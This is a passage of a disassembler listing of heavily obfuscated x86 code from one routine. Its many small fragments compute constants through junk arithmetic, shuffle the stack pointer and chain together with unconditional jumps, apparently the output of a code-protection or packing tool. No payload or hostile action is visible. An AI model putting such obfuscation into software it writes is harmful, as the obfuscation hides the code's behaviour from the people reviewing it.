		pop	edi
		mov	ebx, eax
		pop	eax
		add	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+20h+var_22+2], esi
		push	edx
		push	eax
		mov	eax, 314E1944h
		shr	eax, 4
		xor	eax, 36E3AA94h
		push	1D88h
		mov	[esp+2Ch+var_2E+2], eax
		pop	edx
		pop	eax
		push	edx
		sub	[esp+28h+var_2A+2], 7D90170Fh
		jmp	loc_5B35BC
; ---------------------------------------------------------------------------


loc_5BDBDF:				; CODE XREF: sub_5A55E5+AE80j
		mov	edi, esp
		jmp	loc_5AF403
; ---------------------------------------------------------------------------


loc_5BDBE6:				; CODE XREF: sub_5A55E5+B270j
		mov	[esp+4Ah+var_4A], edx
		push	414A6ADEh
		mov	edx, [esp+4Eh+var_50+2]
		push	5240h
		mov	[esp+52h+var_54+2], ecx
		jmp	loc_5B3810
; ---------------------------------------------------------------------------


loc_5BDBFE:				; CODE XREF: sub_5A55E5+17507j
		pop	ecx
		xor	dl, 0B1h
		sub	al, dl
		mov	edx, [esp+20h+var_22+2]
		add	esp, 4
		sub	al, 0B4h
		sub	al, bl
		add	al, 0B4h
		add	al, 45h
		mov	ebx, [esp+1Ch+var_1C]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+20h+var_22+2]
		pop	esp
		sub	esp, 2
		mov	word ptr [esp+20h+var_22+2], bx
		push	37CCh
		mov	[esp+24h+var_26+2], eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		jmp	loc_5B1B7F
; ---------------------------------------------------------------------------


loc_5BDC4D:				; CODE XREF: sub_5A55E5+143C0j
		mov	ebx, 34B33EA8h
		add	ebx, 85737h
		shl	ebx, 7
		jmp	loc_5B1B5A
; ---------------------------------------------------------------------------


loc_5BDC60:				; CODE XREF: sub_5A55E5+10A80j
		dec	[esp+1Ah+var_1C+2]
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BDC69:				; CODE XREF: sub_5A55E5+CFF7j
		pop	[esp+1Ah+var_1C+2]
		jmp	loc_5B32FF
; ---------------------------------------------------------------------------


loc_5BDC71:				; CODE XREF: sub_5A55E5+4BDCj
		mov	ebp, 7A9D3CA7h
		shl	ebp, 4
		and	ebp, 472B1AFFh
		add	ebp, 7E1E157Eh
		add	eax, ebp
		pop	ebp
		add	eax, 28AD71F8h
		jmp	loc_5AC654
; ---------------------------------------------------------------------------


loc_5BDC92:				; CODE XREF: sub_5A55E5+F5F9j
		mov	esi, [esp+40h+var_42+2]
		add	esp, 4
		pop	edi
		add	edi, 4
		push	4D5Fh
		mov	[esp+3Ch+var_3E+2], ebp
		jmp	loc_5B34B0
; ---------------------------------------------------------------------------


loc_5BDCAF:				; CODE XREF: sub_5A55E5+14B9Aj
		neg	dl
		jmp	loc_5B0051
; ---------------------------------------------------------------------------


loc_5BDCB6:				; DATA XREF: sub_5A55E5+421Bo
		push	0
		push	[esp+18h+var_18]
		jmp	loc_5B2F7F
; ---------------------------------------------------------------------------


loc_5BDCC3:				; CODE XREF: sub_5A55E5+50E4j
		push	eax
		jmp	loc_5B074A
; ---------------------------------------------------------------------------


loc_5BDCC9:				; CODE XREF: sub_5A55E5+F5A8j
		add	al, bl
		jmp	loc_5AEDB7
; ---------------------------------------------------------------------------


loc_5BDCD0:				; CODE XREF: sub_5A55E5+139EEj
		mov	[esp+26h+var_26], edi
		jmp	loc_5ABB80
; ---------------------------------------------------------------------------


loc_5BDCD8:				; CODE XREF: sub_5A55E5+A73Cj
		mov	edi, [esp+24h+var_26+2]
		jmp	loc_5BF3D2
; ---------------------------------------------------------------------------


loc_5BDCE0:				; CODE XREF: sub_5A55E5+749Dj
		push	ecx
		push	ebx
		mov	bh, 19h
		add	bh, 8Bh
		and	bh, 0D5h
		sub	bh, 2Fh
		jmp	loc_5B7558
; ---------------------------------------------------------------------------


loc_5BDCF2:				; CODE XREF: sub_5A55E5+61DAj
		sub	esp, 4
		mov	[esp+5Ch+var_5C], ecx
		jmp	loc_5B2D79
; ---------------------------------------------------------------------------


loc_5BDD00:				; CODE XREF: sub_5A55E5+197FBj
		sub	esp, 4
		mov	[esp+60h+var_60], esp
		jmp	loc_5AE82B
; ---------------------------------------------------------------------------


loc_5BDD0E:				; CODE XREF: sub_5A55E5+10ADBj
		push	[esp+3Ch+var_3E+2]
		pop	eax
		add	esp, 4
		jmp	loc_5B0546
; ---------------------------------------------------------------------------


loc_5BDD1A:				; CODE XREF: sub_5A55E5+14AF5j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5AD1BA
; ---------------------------------------------------------------------------


loc_5BDD2A:				; CODE XREF: sub_5A55E5+12249j
		push	4
		jmp	loc_5BF0A4
; ---------------------------------------------------------------------------


loc_5BDD34:				; CODE XREF: sub_5A55E5+A3EBj
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		sub	edi, edx
		mov	edx, [esp+34h+var_36+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+38h+var_3A+2]
		pop	esp
		xchg	edi, [esp+34h+var_36+2]
		pop	esp
		mov	[esp+30h+var_32+2], esp
		add	[esp+30h+var_32+2], 4
		jmp	loc_5B21DD
; ---------------------------------------------------------------------------


loc_5BDD67:				; CODE XREF: sub_5A55E5+A828j
		xor	dh, ch
		pop	ecx
		add	dh, al
		jmp	loc_5AE721
; ---------------------------------------------------------------------------


loc_5BDD71:				; CODE XREF: sub_5A55E5+D86Fj
		mov	esi, 2C556054h
		jmp	loc_5B24DE
; ---------------------------------------------------------------------------


loc_5BDD7B:				; CODE XREF: sub_5A55E5+18531j
		pop	edx
		pop	esi
		add	ebp, 2
		xor	ebp, [esp+10h+var_10]
		xor	[esp+10h+var_10], ebp
		jmp	loc_5AE2AA
; ---------------------------------------------------------------------------


loc_5BDD8B:				; CODE XREF: sub_5A55E5+5E43j
		or	ebp, eax
		pop	eax
		add	ebp, 12AE9DEBh
		sub	ecx, ebp
		pop	ebp
		jmp	loc_5BB184
; ---------------------------------------------------------------------------


loc_5BDD9C:				; CODE XREF: sub_5A55E5+7E1Fj
		sub	esi, 4
		xchg	esi, [esp+1Ch+var_1C]
		jmp	loc_5B2796
; ---------------------------------------------------------------------------


loc_5BDDA7:				; CODE XREF: sub_5A55E5+1935Dj
		pop	ebx
		add	ebx, 4
		jmp	loc_5B6BBF
; ---------------------------------------------------------------------------


loc_5BDDB3:				; CODE XREF: sub_5A55E5+13FBAj
		push	ebp
		dec	[esp+36h+var_36]
		pop	ebp
		shl	ebp, 5
		dec	ebp
		add	ebp, 1
		or	ebp, 42F4608Ah
		jmp	loc_5AC351
; ---------------------------------------------------------------------------


loc_5BDDCA:				; CODE XREF: sub_5A55E5+D267j
		push	esp
		jmp	loc_5B841C
; ---------------------------------------------------------------------------


loc_5BDDD0:				; CODE XREF: sub_5A55E5+A6FAj
		sub	esi, 4
		xchg	esi, [esp+20h+var_22+2]
		pop	esp
		mov	[esp+1Ch+var_1C], ebx
		push	ecx
		mov	cl, 76h
		mov	bl, cl
		pop	ecx
		mov	dl, 4Eh
		add	dl, 67h
		sub	esp, 4
		jmp	loc_5BD99D
; ---------------------------------------------------------------------------


loc_5BDDF0:				; CODE XREF: sub_5A55E5+129D2j
		shl	edx, 1
		sub	esp, 4
		mov	[esp+56h+var_58+2], eax
		push	6242h
		mov	[esp+5Ah+var_5C+2], edi
		sub	esp, 4
		mov	[esp+5Eh+var_60+2], ebp
		push	6E0F2E07h
		pop	ebp
		or	ebp, 308C5832h
		shl	ebp, 5
		add	ebp, 8E21B6C3h
		push	ebp
		sub	[esp+62h+var_64+2], 51F9358Eh
		pop	edi
		add	edi, 51F9358Eh
		pop	ebp
		push	esi
		mov	esi, 677715Dh
		push	edi
		mov	edi, 68228A8h
		mov	eax, 600AC7A9h
		xor	eax, edi
		jmp	loc_5ADCB5
; ---------------------------------------------------------------------------


loc_5BDE49:				; CODE XREF: sub_5A55E5+166D9j
		mov	ebp, 70433177h
		shr	ebp, 6
		shr	ebp, 7
		add	ebp, 63FC7DF3h
		jmp	loc_5B7FA2
; ---------------------------------------------------------------------------


loc_5BDE5F:				; CODE XREF: sub_5A55E5+8E7Ej
		xor	[esp+28h+var_2A+2], 1A7613CDh
		pop	edx
		xor	edx, 1A7613CDh
		pop	esi
		jmp	loc_5B0824
; ---------------------------------------------------------------------------


loc_5BDE73:				; CODE XREF: sub_5A55E5+119EDj
		mov	eax, esp
		push	ecx
		push	eax
		mov	eax, 28CD278Eh
		jmp	loc_5B81F8
; ---------------------------------------------------------------------------


loc_5BDE81:				; CODE XREF: sub_5A55E5+9194j
		sub	bl, 96h
		push	5C33h
		mov	[esp+26h+var_26], ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+2Ah+var_2A]
		pop	esp
		mov	[esp+26h+var_26], ebx
		mov	ebx, 25614ED7h
		neg	ebx
		jmp	loc_5B0A8D
; ---------------------------------------------------------------------------


loc_5BDEAB:				; CODE XREF: sub_5A55E5+13C37j
		mov	dh, 85h
		mov	ch, dh
		pop	edx
		jmp	loc_5AE4E6
; ---------------------------------------------------------------------------


loc_5BDEB5:				; CODE XREF: sub_5A55E5+6D24j
		mov	edx, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, esp
		jmp	loc_5BF1AD
; ---------------------------------------------------------------------------


loc_5BDEC0:				; CODE XREF: sub_5A55E5+75CEj
		xor	ecx, 226218E9h
		xor	ecx, 58AC0154h
		shr	ecx, 5
		neg	ecx
		jmp	loc_5BC983
; ---------------------------------------------------------------------------


loc_5BDED6:				; CODE XREF: sub_5A55E5+1755Ej
		mov	ecx, esp
		jmp	loc_5B6B2F
; ---------------------------------------------------------------------------


loc_5BDEDD:				; CODE XREF: sub_5A55E5+F659j
		pop	esi
		sub	esp, 4
		mov	[esp+32h+var_32], eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	ecx
		mov	ecx, 4
		sub	esi, ecx
		jmp	loc_5AD42F
; ---------------------------------------------------------------------------


loc_5BDEFC:				; CODE XREF: sub_5A55E5+700Cj
		add	ecx, edi
		jmp	loc_5ACEE7
; ---------------------------------------------------------------------------


loc_5BDF03:				; CODE XREF: sub_5A55E5+15639j
		sub	ebp, 47F17E2Ch
		add	ebp, eax
		add	ebp, 47F17E2Ch
		jmp	loc_5B14BD
; ---------------------------------------------------------------------------


loc_5BDF16:				; CODE XREF: sub_5A55E5+A7EFj
		xor	ebx, 4CED429Ch
		push	ecx
		mov	ecx, 62367F6Dh
		add	ecx, 53047555h
		xor	ecx, 805C9036h
		sub	eax, ecx
		pop	ecx
		sub	eax, 2C811C07h
		add	eax, ebx
		jmp	loc_5B7F7D
; ---------------------------------------------------------------------------


loc_5BDF3D:				; CODE XREF: sub_5A55E5+18DBEj
		add	esp, 4
		push	ecx
		jmp	loc_5BD7EE
; ---------------------------------------------------------------------------


loc_5BDF49:				; CODE XREF: sub_5A55E5+5314j
		inc	ch
		shr	ch, 2
		push	eax
		mov	ah, 0BDh
		not	ah
		push	ebx
		mov	bl, 0F1h
		jmp	loc_5B711E
; ---------------------------------------------------------------------------


loc_5BDF5B:				; CODE XREF: sub_5A55E5+47DFj
		mov	ch, 5Fh
		xor	dl, ch
		mov	cx, word ptr [esp+4Eh+var_50+2]
		add	esp, 2
		push	ebx
		push	ecx
		jmp	loc_5B235E
; ---------------------------------------------------------------------------


loc_5BDF6D:				; CODE XREF: sub_5A55E5+17644j
		mov	edx, 4
		mov	edi, edx
		jmp	loc_5B9A4A
; ---------------------------------------------------------------------------


loc_5BDF79:				; CODE XREF: sub_5A55E5+12E64j
		add	esp, 4
		pop	ecx
		push	0B78h
		mov	[esp+16h+var_18+2], ebp
		push	ecx
		push	4A2037A4h
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		add	ecx, 0B5DFC85Eh
		push	ecx
		xor	dword ptr [esp+0], 22453D74h
		pop	ebp
		push	edi
		jmp	loc_5B51BD
; ---------------------------------------------------------------------------


loc_5BDFAA:				; CODE XREF: sub_5A55E5+1085Fj
		push	ecx
		pop	esi
		pop	ecx
		push	esi
		mov	edx, [esp+28h+var_2A+2]
		add	esp, 4
		mov	esi, [esp+24h+var_26+2]
		add	esp, 4
		jmp	loc_5ACB49
; ---------------------------------------------------------------------------


loc_5BDFC2:				; CODE XREF: sub_5A55E5+15614j
		add	edx, 4
		push	edx
		push	[esp+3Eh+var_3A]
		pop	edx
		pop	[esp+3Eh+var_3E]
		mov	esp, [esp+3Ah+var_3A]
		jmp	loc_5BAAC1
; ---------------------------------------------------------------------------


loc_5BDFD9:				; CODE XREF: sub_5A55E5+AC78j
		xor	edi, 3A1E07DEh
		add	edx, edi
		pop	edi
		sub	edx, 0EC2CA36Fh
		push	edi
		jmp	loc_5B2E61
; ---------------------------------------------------------------------------


loc_5BDFEE:				; CODE XREF: sub_5A55E5+5AF1j
		pop	eax
		pop	[esp+48h+var_4A+2]
		mov	esp, [esp+44h+var_46+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+48h+var_4A+2]
		pop	esp
		mov	[esp+44h+var_46+2], eax
		push	4
		pop	eax
		jmp	loc_5BEF69
; ---------------------------------------------------------------------------


loc_5BE013:				; CODE XREF: sub_5A55E5+14935j
		push	edi
		mov	edi, 65CD7BE5h
		mov	ebp, 456E206Bh
		xor	ebp, edi
		pop	edi
		jmp	loc_5B18C6
; ---------------------------------------------------------------------------


loc_5BE026:				; CODE XREF: sub_5A55E5+19ED0j
		push	ebx
		mov	bh, ah
		mov	dl, bh
		pop	ebx
		jmp	loc_5ABE5F
; ---------------------------------------------------------------------------


loc_5BE031:				; CODE XREF: sub_5A55E5+15CC5j
		sub	edx, 6775143Bh
		mov	esi, [esp+28h+var_2A+2]
		push	ebx
		jmp	loc_5AEF9F
; ---------------------------------------------------------------------------


loc_5BE040:				; CODE XREF: sub_5A55E5+17E6Bj
		push	ebp
		add	[esp+24h+var_26+2], 165D089Eh
		pop	edi
		sub	edi, 165D089Eh
		mov	ebx, edi
		pop	edi
		mov	ebp, [esp+1Ch+var_1C]
		add	esp, 4
		sub	ecx, ebx
		mov	ebx, [esp+18h+var_18]
		jmp	loc_5BACE0
; ---------------------------------------------------------------------------


loc_5BE065:				; CODE XREF: sub_5A55E5+1360Cj
		push	[esp+28h+var_2A+2]
		jmp	loc_5B3BFA
; ---------------------------------------------------------------------------


loc_5BE06D:				; CODE XREF: sub_5A55E5+E17Cj
		push	795Eh
		mov	[esp+34h+var_36+2], edi
		jmp	loc_5BBF1B
; ---------------------------------------------------------------------------


loc_5BE07A:				; CODE XREF: sub_5A55E5+7A98j
		inc	eax
		jmp	loc_5BBEC9
; ---------------------------------------------------------------------------


loc_5BE080:				; DATA XREF: sub_5A55E5+4253o
		push	[esp+14h+var_14]
		jmp	loc_5AFA57
; ---------------------------------------------------------------------------


loc_5BE088:				; CODE XREF: sub_5A55E5+140F3j
		mov	bp, 5227h
		inc	bp
		inc	bp
		push	bp
		not	word ptr [esp+22h+var_22]
		pop	bp
		jmp	loc_5B8AEF
; ---------------------------------------------------------------------------


loc_5BE09D:				; CODE XREF: sub_5A55E5+E349j
		pop	esi
		jmp	loc_5B3C94
; ---------------------------------------------------------------------------


loc_5BE0A3:				; CODE XREF: sub_5A55E5+12E54j
		mov	ebx, 4EE91BFDh
		mov	edx, 6F204885h
		sub	edx, ebx
		pop	ebx
		add	edx, 62893A45h
		sub	edx, 151D6C72h
		jmp	loc_5BEC2E
; ---------------------------------------------------------------------------


loc_5BE0C1:				; CODE XREF: sub_5A55E5+16970j
		add	esp, 4
		sub	[edi+24h], edx
		mov	edx, [esp+12h+var_14+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+16h+var_18+2]
		pop	esp


loc_5BE0DA:				; CODE XREF: sub_5A55E5+106F7j
		push	ebx
		jmp	loc_5BB699
; ---------------------------------------------------------------------------


loc_5BE0E0:				; CODE XREF: sub_5A55E5+BFEDj
		sub	eax, 11CB4683h
		add	eax, edi
		add	eax, 11CB4683h
		jmp	loc_5B2D02
; ---------------------------------------------------------------------------


loc_5BE0F1:				; CODE XREF: sub_5A55E5+1033Bj
		sub	dh, cl
		pop	ecx
		jmp	loc_5BB1FD
; ---------------------------------------------------------------------------


loc_5BE0F9:				; CODE XREF: sub_5A55E5+D8CFj
		mov	ebx, 41607B72h
		xor	ebx, 5EAC74DEh
		sub	ebx, 70776BD0h
		jmp	loc_5BBF5A
; ---------------------------------------------------------------------------


loc_5BE10F:				; CODE XREF: sub_5A55E5+A747j
		add	edx, 705CA7Ah
		jmp	loc_5AC45D
; ---------------------------------------------------------------------------


loc_5BE11A:				; CODE XREF: sub_5A55E5+1375Aj
		mov	esi, 49A63640h
		sub	ebp, esi
		pop	esi
		not	ebp
		sub	ebp, 491CC554h
		jmp	loc_5AD6B9
; ---------------------------------------------------------------------------


loc_5BE12F:				; CODE XREF: sub_5A55E5+160CFj
		pop	ebp
		jmp	loc_5ADAA3
; ---------------------------------------------------------------------------


loc_5BE135:				; CODE XREF: sub_5A55E5+11D8Dj
		push	edi
		mov	edi, 503C132Fh
		neg	edi
		sub	edi, 128E4283h
		push	ebx
		jmp	loc_5B58B4
; ---------------------------------------------------------------------------


loc_5BE149:				; CODE XREF: sub_5A55E5+1653Fj
		pop	ecx
		pop	edx
		push	921h
		mov	[esp+1Ch+var_1C], edi
		mov	edi, 6ECE54BFh
		push	ebp
		mov	ebp, 1CE73478h
		add	[esp+20h+var_18], 7A327E30h
		sub	[esp+20h+var_18], ebp
		sub	[esp+20h+var_18], 7A327E30h
		jmp	loc_5B9FB5
; ---------------------------------------------------------------------------


loc_5BE177:				; CODE XREF: sub_5A55E5+10C18j
		mov	eax, 180E2FAEh
		sub	[esp+28h+var_22+2], eax
		pop	eax
		add	[esp+24h+var_22+2], ebx
		push	ecx
		mov	ecx, 180E2FAEh
		jmp	loc_5BED80
; ---------------------------------------------------------------------------


loc_5BE190:				; CODE XREF: sub_5A55E5+12633j
		pop	esi
		movzx	eax, ax
		jmp	loc_5BF03E
; ---------------------------------------------------------------------------


loc_5BE199:				; CODE XREF: sub_5A55E5+8CC8j
		mov	esp, [esp+20h+var_22+2]
		mov	fs:[edx], ax
		jmp	loc_5BB088
; ---------------------------------------------------------------------------


loc_5BE1A5:				; CODE XREF: sub_5A55E5+CDCFj
		push	ebx
		sub	esp, 4
		mov	[esp+26h+var_26], edx
		mov	dl, al
		mov	bl, dl
		jmp	loc_5AE392
; ---------------------------------------------------------------------------


loc_5BE1B5:				; CODE XREF: sub_5A55E5+58DDj
		pop	esp
		xor	[esp+0], al
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BE1BF:				; CODE XREF: sub_5A55E5+9E19j
		mov	bh, 0Eh
		sub	cl, bh
		mov	ebx, [esp+24h+var_26+2]
		jmp	loc_5BAD62
; ---------------------------------------------------------------------------


loc_5BE1CB:				; CODE XREF: sub_5A55E5+8C88j
		xor	esi, 384045C8h
		jmp	loc_5B5EA0
; ---------------------------------------------------------------------------


loc_5BE1D6:				; CODE XREF: sub_5A55E5+642Dj
		add	esp, 4
		add	ebp, ebx
		jmp	loc_5BC413
; ---------------------------------------------------------------------------


loc_5BE1E3:				; CODE XREF: sub_5A55E5+5DBAj
		add	eax, 4
		jmp	loc_5B4699
; ---------------------------------------------------------------------------


loc_5BE1ED:				; CODE XREF: sub_5A55E5+5D52j
		xor	eax, 0AE15EFDh
		jmp	loc_5B6790
; ---------------------------------------------------------------------------


loc_5BE1F7:				; CODE XREF: sub_5A55E5+12CA7j
		mov	ebx, 2D1100BCh
		not	ebx
		xor	ebx, 0B810222h
		jmp	loc_5BA9B7
; ---------------------------------------------------------------------------


loc_5BE209:				; CODE XREF: sub_5A55E5+ED8Fj
		mov	eax, 6EF953FDh
		add	edx, eax
		pop	eax
		push	7C7Ah
		mov	[esp+20h+var_22+2], edx
		pop	edi
		pop	edx
		add	eax, 6AD265E4h
		sub	eax, edi
		push	ebx
		mov	ebx, 587F4ABFh
		jmp	loc_5AA58A
; ---------------------------------------------------------------------------


loc_5BE22D:				; CODE XREF: sub_5A55E5+951Dj
		push	4D16h
		mov	[esp+30h+var_32+2], ebp
		push	[esp+30h+var_2E+2]
		mov	ebp, [esp+34h+var_36+2]
		add	esp, 4
		jmp	loc_5ADB51
; ---------------------------------------------------------------------------


loc_5BE244:				; CODE XREF: sub_5A55E5+63CAj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BE249:				; CODE XREF: sub_5A55E5+4E1Dj
		mov	edx, 65F10DCFh
		push	7D8Fh
		mov	[esp+24h+var_26+2], edi
		mov	edi, 4F3868D6h
		sub	edi, 96768DFh
		jmp	loc_5AE422
; ---------------------------------------------------------------------------


loc_5BE266:				; CODE XREF: sub_5A55E5+17E5Ej
		add	edi, 0B7139D6h
		and	edi, 1123EE0h
		jmp	loc_5BC752
; ---------------------------------------------------------------------------


loc_5BE277:				; CODE XREF: sub_5A55E5+15F15j
		pop	esp
		movsx	ecx, al
		push	979h
		mov	[esp+12h+var_14+2], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp+16h+var_18+2], edx
		jmp	loc_5B7833
; ---------------------------------------------------------------------------


loc_5BE290:				; CODE XREF: sub_5A55E5+E2ABj
		sub	edx, 0FA02486Ch
		sub	esi, edx
		pop	edx
		mov	eax, [esp+24h+var_26+2]
		add	esp, 4
		push	esi
		push	[esp+24h+var_22+2]
		jmp	loc_5AFD7E
; ---------------------------------------------------------------------------


loc_5BE2AC:				; CODE XREF: sub_5A55E5+19599j
		xor	eax, [esp+28h+var_2A+2]
		xor	[esp+28h+var_2A+2], eax
		xor	eax, [esp+28h+var_2A+2]
		mov	esp, [esp+28h+var_2A+2]
		div	cx
		push	6C92h
		mov	[esp+2Ch+var_2E+2], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 5AD33974h
		xchg	ebp, ebx
		not	ebp
		jmp	loc_5AFB3B
; ---------------------------------------------------------------------------


loc_5BE2D4:				; CODE XREF: sub_5A55E5+E3D7j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BE2D9:				; CODE XREF: sub_5A55E5+D9A5j
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_5ACE6E
; ---------------------------------------------------------------------------


loc_5BE2E6:				; CODE XREF: sub_5A55E5+F71Aj
		dec	ebx
		push	ebx
		not	[esp+0Ch+var_C]
		pop	ebx
		add	ebx, 17FF7B59h
		jmp	loc_5ABF97
; ---------------------------------------------------------------------------


loc_5BE2F7:				; CODE XREF: sub_5A55E5+19698j
		mov	esi, 78291AA9h
		and	esi, 347C5D14h
		add	esi, 0B6A7E4B0h
		xor	ebx, esi
		jmp	loc_5B61FB
; ---------------------------------------------------------------------------


loc_5BE30F:				; CODE XREF: sub_5A55E5+E759j
		mov	eax, esp
		sub	esp, 4
		mov	[esp+4Ah+var_4A], ebp
		push	ecx
		push	eax
		push	651A2257h
		pop	eax
		push	esi
		jmp	loc_5B267A
; ---------------------------------------------------------------------------


loc_5BE328:				; CODE XREF: sub_5A55E5+17DA7j
		or	eax, esi
		pop	esi
		shl	eax, 6
		not	eax
		and	eax, 76A5224Ah
		sub	eax, 4200006h
		add	ebp, eax
		pop	eax
		jmp	loc_5AC4C7
; ---------------------------------------------------------------------------


loc_5BE342:				; CODE XREF: sub_5A55E5+19037j
		sub	ebp, 1FA4040Ch
		neg	ebp
		jmp	loc_5BC9DB
; ---------------------------------------------------------------------------


loc_5BE34F:				; CODE XREF: sub_5A55E5+17D76j
		pop	ebp
		add	eax, ebx
		pop	ebx
		push	edx
		jmp	loc_5AC76B
; ---------------------------------------------------------------------------


loc_5BE359:				; CODE XREF: sub_5A55E5+172B4j
		add	ebp, esi
		mov	esi, [esp+1Ch+var_1C]
		add	esp, 4
		push	esi
		push	38C3h
		mov	[esp+20h+var_22+2], ebp
		jmp	loc_5BAFA3
; ---------------------------------------------------------------------------


loc_5BE36F:				; CODE XREF: sub_5A55E5+D25Cj
		sub	eax, 4
		jmp	loc_5AD69D
; ---------------------------------------------------------------------------


loc_5BE379:				; CODE XREF: sub_5A55E5+13850j
		mov	ebx, 15941F62h
		xor	ebx, 0D941498h
		inc	ebx
		or	ebx, 40676465h
		add	ebx, 4DBD2EDFh
		xor	ebx, 87B2B978h
		mov	ebp, ebx
		pop	ebx
		push	ecx
		jmp	loc_5B43E9
; ---------------------------------------------------------------------------


loc_5BE3A0:				; CODE XREF: sub_5A55E5+19279j
		mov	edx, [esp+34h+var_36+2]
		jmp	loc_5BDF3D
; ---------------------------------------------------------------------------


loc_5BE3A8:				; CODE XREF: sub_5A55E5+EA95j
		sub	bl, 0D5h
		and	bl, 8
		shr	bl, 7
		xor	bl, 29h
		mov	dh, bl
		jmp	loc_5B027A
; ---------------------------------------------------------------------------


loc_5BE3BB:				; CODE XREF: sub_5A55E5+10290j
		mov	eax, 491A0EF3h
		sub	eax, 0FFFFFFFFh
		xor	eax, 604D3EFAh
		sub	eax, 0DA262BFh
		xor	eax, 5F448B8Eh
		sub	ebp, eax
		jmp	loc_5B93D3
; ---------------------------------------------------------------------------


loc_5BE3DB:				; CODE XREF: sub_5A55E5+15984j
		pop	ecx
		add	esp, 4
		push	edi
		mov	edi, 5EA07686h
		jmp	loc_5BC320
; ---------------------------------------------------------------------------


loc_5BE3ED:				; CODE XREF: sub_5A55E5+16BDCj
		shr	edi, 5
		shr	edi, 7
		neg	edi
		add	edi, 52B20E86h
		jmp	loc_5B938F
; ---------------------------------------------------------------------------


loc_5BE400:				; CODE XREF: sub_5A55E5+12AB7j
		push	edx
		mov	edx, 4
		sub	ebx, 29D168D2h
		add	ebx, edx
		push	0C9Dh
		mov	[esp+56h+var_58+2], ecx
		mov	ecx, 29D168D2h
		add	ebx, ecx
		pop	ecx
		pop	edx
		add	ebx, 2
		push	ebx
		push	[esp+52h+var_50+2]
		pop	ebx
		pop	[esp+52h+var_54+2]
		mov	esp, [esp+4Eh+var_50+2]
		sub	ax, 6F5Dh
		sub	ax, 5C34h
		sub	ax, dx
		push	di
		mov	di, 5C34h
		add	ax, di
		mov	di, word ptr [esp+50h+var_50]
		add	esp, 2
		add	ax, 6F5Dh
		jmp	loc_5ADA49
; ---------------------------------------------------------------------------


loc_5BE452:				; CODE XREF: sub_5A55E5+140A3j
		sub	edx, ecx
		pop	ecx
		jmp	loc_5B79FA
; ---------------------------------------------------------------------------


loc_5BE45A:				; CODE XREF: sub_5A55E5+A9F1j
		add	eax, 1A0F4E0Dh
		sub	eax, 0EE0476Fh
		add	eax, edi
		add	eax, 0EE0476Fh
		sub	eax, 1A0F4E0Dh
		push	ecx
		jmp	loc_5BC441
; ---------------------------------------------------------------------------


loc_5BE476:				; CODE XREF: sub_5A55E5+15DADj
		add	ecx, 33BE1274h
		pop	esi
		not	ecx
		push	0
		add	[esp+30h+var_32+2], 6C701B4Ch
		sub	[esp+30h+var_32+2], ecx
		sub	[esp+30h+var_32+2], 6C701B4Ch
		jmp	loc_5B2DB5
; ---------------------------------------------------------------------------


loc_5BE49A:				; CODE XREF: sub_5A55E5+17DF0j
		add	esi, 201924F7h
		push	edi
		mov	edi, 6E3A1604h
		add	esi, edi
		pop	edi
		sub	esi, edx
		sub	esi, 6E3A1604h
		sub	esi, 201924F7h
		push	ebx
		mov	ebx, 1F890342h
		neg	ebx
		shl	ebx, 7
		shl	ebx, 8
		shl	ebx, 2
		push	edx
		mov	edx, 0CA797AF9h
		xor	ebx, edx
		pop	edx
		jmp	loc_5B974E
; ---------------------------------------------------------------------------


loc_5BE4D6:				; CODE XREF: sub_5A55E5:loc_5B3A86j
		add	al, 24h
		add	al, 0F6h
		add	al, 0B6h
		mov	edx, [esp+0Ah+var_C+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Eh+var_10+2]
		pop	esp
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], ecx
		push	eax
		mov	eax, esp
		jmp	loc_5BB573
; ---------------------------------------------------------------------------


loc_5BE4FF:				; CODE XREF: sub_5A55E5+182BAj
		mov	ebp, [esp+62h+var_64+2]
		add	esp, 4
		pop	[esp+5Eh+var_60+2]
		mov	esp, [esp+5Ah+var_5C+2]
		jmp	loc_5AC004
; ---------------------------------------------------------------------------


loc_5BE510:				; CODE XREF: sub_5A55E5+15A32j
		pop	ebx
		jmp	loc_5B9002
; ---------------------------------------------------------------------------


loc_5BE516:				; DATA XREF: sub_5A55E5+41BFo
		push	[esp+10h+var_10]
		mov	eax, [esp+14h+var_14]
		jmp	loc_5AFD99
; ---------------------------------------------------------------------------


loc_5BE521:				; CODE XREF: sub_5A55E5+16FFBj
		mov	esp, [esp+6+var_8+2]
		mov	[esp+6+var_8+2], ebx
		mov	ebx, 2Ch
		jmp	loc_5AEA53
; ---------------------------------------------------------------------------


loc_5BE531:				; CODE XREF: sub_5A55E5+48E3j
		add	eax, 63703C75h
		jmp	loc_5B6A9E
; ---------------------------------------------------------------------------


loc_5BE53B:				; CODE XREF: sub_5A55E5+11C13j
		xor	edi, 51CD2AADh
		xor	edi, 570E4B40h
		add	edi, 5B501A5Ch
		mov	esi, edi
		pop	edi
		add	ecx, esi
		pop	esi
		pop	edx
		mov	ebx, ecx
		push	[esp+0Ch+var_C]
		jmp	loc_5ADB7D
; ---------------------------------------------------------------------------


loc_5BE55E:				; DATA XREF: sub_5A55E5+426Bo
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
